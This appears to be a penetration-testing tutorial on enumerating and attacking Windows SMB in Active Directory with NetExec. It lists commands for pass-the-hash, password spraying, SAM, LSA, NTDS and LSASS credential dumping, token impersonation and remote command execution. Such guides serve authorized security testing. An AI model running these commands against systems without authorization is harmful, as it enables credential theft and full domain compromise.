A Complete Guide to SMB Enumeration in Active Directory Using NetExec (NXC)

SMB (Server Message Block) remains one of the most critical protocols during internal penetration tests. It’s used for file sharing, authentication, remote command execution, service management, and more.

Because of this, SMB enumeration is often the first — and most important — phase of an AD engagement.

This guide walks through every major SMB enumeration technique using NetExec (NXC), including unauthenticated scans, authenticated sessions, Kerberos, certificates, hash authentication, share spidering, SAM/LSA/NTDS extraction, logged-on user discovery, command execution, and module-based post-exploitation.

Let’s get started.

🟦 1. Unauthenticated Target Enumeration

Start by sweeping the subnet to identify SMB hosts that respond.

nxc smb <subnet>

subnet Enumeration

Generate a hosts file easily:

nxc smb <subnet> --generate-hosts-file hosts
cat hosts

Hosts file

Append to /etc/hosts if needed:

cat hosts | sudo tee -a /etc/hosts

Scan individual targets:

nxc smb <IP>
nxc smb target.txt

target Enumeration

Unauthenticated scans already reveal:

• OS version
• Domain name
• Signing status
• Guest access
• SMBv1/v2 availability

This is the foundation for everything else.

🟦 2. Authenticated Enumeration (Password)

Use valid user credentials:

nxc smb <IP> -u 'username' -p 'password'
nxc smb <IP> -u 'guest' -p ''

Auth working

Disabled Account

With authentication, SMB reveals far more information:

• Shares
• Policies
• Admin rights
• UAC status
• Workstation restrictions
• Server type

Password-based authentication is the most common on internal tests.

🟦 3. Authenticated Enumeration (NTLM Hash)

Pass-the-Hash just works:

nxc smb <IP> -u 'username' -H 'hash'

Hash Authentication

If the hash is valid and not blocked by “Deny NTLM,” this grants full SMB access without knowing the password.

🟦 4. Kerberos Authentication

Perfect when passwords are known, but direct SMB auth is blocked.

Request a TGT:

getTGT.py 'DC_Hostname/username:Password' -dc-ip <DC-IP>

TGT generation

Export the ticket:

export KRV5CCNAME=./<ticket.ccache>

ticket exported

Use NetExec with Kerberos:

nxc smb <IP> -u <username> -k --use-kcache

Kerberos Auth

Kerberos auth avoids NTLM restrictions and is often less logged.

🟦 5. Certificate-Based Authentication

If you have a PFX certificate:

nxc smb <IP> -u 'username' --pfx-cert 'cert.pfx'

Cert Authentication

Useful during AD CS abuse (ESC1–8).

🟦 6. Local Account Authentication

When dealing with Workgroup systems or local admin reuse:

nxc smb <IP> -u 'local_user' -p 'local_password' --local-auth
nxc smb <IP> -u 'local_user' -H 'local_hash' --local-auth

Local Auth

🟦 7. Password Policy Enumeration

nxc smb <IP> -u 'username' -p 'password' --pass-pol

Password Policy

This reveals:

• Minimum password length
• Max/min password age
• Lockout threshold
• Complexity requirements

Great for brute-force planning.

🟦 8. SMB Bruteforcing

Standard bruteforce:

nxc smb <IP> -u users_list.txt -p password_list.txt --continue-on-sucess

Bruteforcing

No-bruteforce (password spraying):

nxc smb <IP> -u users_list.txt -p password_list.txt --no-bruteforce --continue-on-sucess

no bruteforce option

Use carefully during real engagements.

🟦 9. Dumping SAM Database (High Priv)

nxc smb <IP> -u 'user' -H 'Hash' --sam

SAM dump

This gives local user password hashes.

🟦 10. Dumping LSA Secrets (High Priv)

nxc smb <IP> -u 'user' -H 'Hash' --lsa

LSA Dump

LSA secrets may reveal:

• Service account passwords
• Cached credentials
• Plaintext values in some cases

🟦 11. Dumping NTDS (Domain Controller Only)

nxc smb <IP> -u 'user' -H 'Hash' --ntds --user Administrator

This is the Holy Grail: NTDS.dit + SYSTEM = full domain credential extraction.

🟦 12. Share Enumeration

nxc smb <IP> -u 'user' -H 'Hash' --shares

Share Enum

Spidering a share:

nxc smb <IP> -u 'user' -H 'Hash' --spider Share_name --regex .

Spidering share

Spidering with content search:

nxc smb <IP> -u 'user' -H 'Hash' --spider Share_name --content --regex "keyword_in_document"

Search File in a share

This often reveals:

• config files
• scripts
• password files
• documentation
• backups

🟦 13. Enumerating Network Interfaces (High Priv)

nxc smb <IP> -u 'user' -H 'Hash' --interfaces

Network Interfaces

Useful for lateral movement planning (dual-homed DCs, multi-segment servers).

🟦 14. Logged-On Users Enumeration

nxc smb <IP> -u 'username' -p 'password' --loggedon-users
nxc smb <IP> -u 'username' -p 'password' --qwinsta

Logged on Users

Logged on Users

Helps identify:

• Privileged users
• Admin sessions
• Lateral movement paths

🟦 15. Domain / Local User Enumeration

nxc smb <IP> -u 'username' -p 'password' --users

Users Enumeration

🟦 16. Group Enumeration

nxc smb <IP> -u 'username' -p 'password' --local-groups Administrators

Groups Enumeration

Shows local admin groups and privilege delegation.

🟦 17. Task Enumeration (High Priv)

nxc smb <IP> -u 'username' -p 'password' --tasklist

Running Tasks on Host

Great for finding:

• Hardcoded creds
• Scheduled scripts
• Backup tools

🟦 18. Remote Command Execution (High Priv)

nxc smb <IP> -u 'username' -p 'password' -x 'command'

Command Execution

This uses psexec-style execution to run commands remotely.

🟦 19. NetExec Modules

List available modules:

nxc smb -L

Add Computer (Requires rights)

nxc smb <IP> -u 'username' -p 'pasword' -M add-computer -o NAME="BadPC2" PASSWORD="Password"

Computer Addition

Used for:

• RBCD
• Resource-based privilege escalation
• Machine spoofing

Spider Plus

nxc smb <IP> -u 'username' -p 'password' -M spider_plus -o DOWNLOAD_FLAG=TRUE EXCLUDE_FILTER=c$,ipc$,admin$,netlogon,sysvol OUTPUT_Folder=/home/kali

Spider plus mode

This module recursively downloads all accessible files.

LSASSY (Credential Dumping) (High Priv)

nxc smb <IP> -u 'username' -p 'password' -M lsassy

Creds dumping

Extracts credentials from LSASS (like mimikatz).

Impersonate (Token Abuse) (High Priv)

nxc smb <IP> -u '' -p '' -M impersonate 
nxc smb <IP> -u '' -p '' -M impersonate -o Token=1 EXEC="whoami"

Listing Tokens

Using Token

Used for privilege escalation and lateral movement.

🟦 Conclusion

SMB enumeration is one of the most powerful capabilities inside NetExec — and when mastered, it forms the backbone of internal Active Directory penetration testing.

In this guide, we covered:

✔️ Unauthenticated scanning ✔️ Password, hash, Kerberos & certificate authentication ✔️ Bruteforcing & password policy review ✔️ Share enumeration & spidering ✔️ SAM, LSA, NTDS dumps ✔️ Logged-on users, tasks, groups, interfaces ✔️ Command execution ✔️ Advanced modules like lsassy, impersonate, spider_plus, add-computer

If you understand and practice all of these techniques, your AD enumeration flow becomes extremely fast, structured, and effective.